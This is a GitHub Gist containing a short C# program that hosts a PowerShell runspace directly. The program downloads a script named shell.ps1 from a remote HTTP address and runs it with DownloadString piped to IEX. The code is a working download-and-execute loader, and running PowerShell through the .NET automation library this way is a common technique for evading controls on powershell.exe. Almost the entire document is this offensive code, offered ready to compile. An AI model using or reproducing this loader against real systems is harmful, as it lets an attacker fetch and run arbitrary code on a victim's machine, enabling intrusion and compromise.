Created
April 29, 2021 07:20
-
-
Save FrankSpierings/958a590afb7341e3af4702bae8c1e65c to your computer and use it in GitHub Desktop.
PowerShell Host example. Obtaining its commands from a remote location.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// c:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe pshost.cs /r:c:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll | |
using System; | |
using System.Management.Automation; | |
using System.Management.Automation.Runspaces; | |
using PowerShell = System.Management.Automation.PowerShell; | |
internal class InfantAnnihilator | |
{ | |
private static void Main(string[] args) | |
{ | |
InitialSessionState iss = InitialSessionState.CreateDefault(); | |
using (Runspace rs = RunspaceFactory.CreateRunspace(iss)) | |
{ | |
rs.Open(); | |
using (PowerShell powershell = PowerShell.Create()) | |
{ | |
string externalscript = "http://1.1.1.1/shell.ps1"; | |
Console.WriteLine(String.Format("Downloading external script: {0}", externalscript)); | |
powershell.Runspace = rs; | |
string script = String.Format("(New-Object System.Net.WebClient).DownloadString(\"{0}\")| IEX", externalscript); | |
powershell.AddScript(script); | |
powershell.Invoke(script); | |
} | |
rs.Close(); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment